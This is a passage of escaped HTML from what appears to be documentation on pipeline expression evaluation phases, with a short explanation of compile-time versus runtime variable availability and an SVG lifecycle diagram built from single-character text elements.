\u003ctd\u003eExecute\u003c/td\u003e\n          \u003ctd\u003eTasks and scripts run\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$( )\u003c/code\u003e, \u003ccode\u003e$[ ]\u003c/code\u003e, outputs\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"diagram-the-expression-evaluation-lifecycle\"\u003eDiagram: The Expression Evaluation Lifecycle\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes the \u0026ldquo;availability gap\u0026rdquo; between compile-time expansion and runtime execution. If a variable is only set in Phase 4 (Initialize), a Phase 2 (\u003ccode\u003e${{ if }}\u003c/code\u003e) condition referencing it will always see an empty string.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 688 1033\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 256,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 240,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,80 L 144,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,80 L 240,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,96 L 136,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,96 L 256,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,144 L 144,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,144 L 256,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,192 L 232,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,240 L 144,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,240 L 240,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,272 L 136,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,272 L 240,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,336 L 144,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,336 L 240,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,352 L 144,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,352 L 256,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,400 L 144,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,400 L 256,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,448 L 240,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,480 L 144,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,480 L 240,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,496 L 136,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,496 L 256,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,544 L 144,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,544 L 256,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,592 L 240,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,640 L 136,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,640 L 240,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,672 L 136,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,672 L 240,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,736 L 240,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,752 L 144,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,752 L 256,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,800 L 144,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,800 L 256,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,848 L 240,848' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,896 L 144,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,896 L 240,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,928 L 136,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,928 L 240,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,992 L 240,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1008 L 256,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,144 L 32,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,400 L 32,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,544 L 32,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,800 L 32,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 48,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,192 L 48,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,272 L 48,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,448 L 48,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,592 L 48,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,672 L 48,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,848 L 48,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,928 L 48,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,80 L 144,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,128 L 144,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,240 L 144,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,336 L 144,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,352 L 144,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,384 L 144,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,480 L 144,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,528 L 144,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,640 L 144,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,752 L 144,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,784 L 144,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,896 L 144,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 240,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,224 L 240,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,272 L 240,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,448 L 240,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,592 L 240,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,672 L 240,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,848 L 240,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,928 L 240,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,0 L 256,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,144 L 256,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,224 L 256,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,400 L 256,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,544 L 256,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,800 L 256,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,128 L 144,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,128.000000 148.000000,122.400002 148.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='152.000000,272.000000 140.000000,266.399994 140.000000,277.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,384 L 144,392' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,384.000000 148.000000,378.399994 148.000000,389.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 384.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,528 L 144,536' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,528.000000 148.000000,522.400024 148.000000,533.599976' fill='currentColor' transform='rotate(90.000000, 144.000000, 528.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='152.000000,672.000000 140.000000,666.400024 140.000000,677.599976' fill='currentColor' transform='rotate(90.000000, 144.000000, 672.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,784 L 144,792' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,784.000000 148.000000,778.400024 148.000000,789.599976' fill='currentColor' transform='rotate(90.000000, 144.000000, 784.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='152.000000,928.000000 140.000000,922.400024 140.000000,933.599976' fill='currentColor' transform='rotate(90.000000, 144.000000, 928.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='280.000000,560.000000 268.000000,554.400024 268.000000,565.599976' fill='currentColor' transform='rotate(180.000000, 272.000000, 560.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 232,192 A 16,16 0 0,1 248,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,624 A 16,16 0 0,1 136,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='164' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='292' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='308' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='324' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='612' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='628' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='692' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='708' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='724' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='868' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='884' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='948' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='964' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='980' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='468' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='564' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='612' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='628' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='692' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='868' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='884' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='948' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='308' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='324' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='468' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='564' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='612' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='628' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='692' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='708' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='724' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='820' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='868' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='884' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='948' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='964' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='980' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='420' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='468' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='564' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='612' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='628' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='692' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='708' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='724' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='820' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='868' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='948' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='964' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='980' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='420' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='468' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='564' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='612' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='628' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='692' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='708' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='724' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='820' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='868' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='884' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='948' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='964' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='980' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='468' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='564' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='612' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='628' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='692' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='708' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='724' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='820' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='868' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='884' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='948' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='964' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='980' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='308' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='324' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='420' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='468' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='612' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='628' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='692' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='708' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='724' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='820' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='868' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='884' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='948' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='980' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='324' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='564' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='692' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='708' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='724' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='868' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='884' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='948' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='964' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='468' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='564' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='628' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='692' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='708' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='724' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='820' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='884' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext 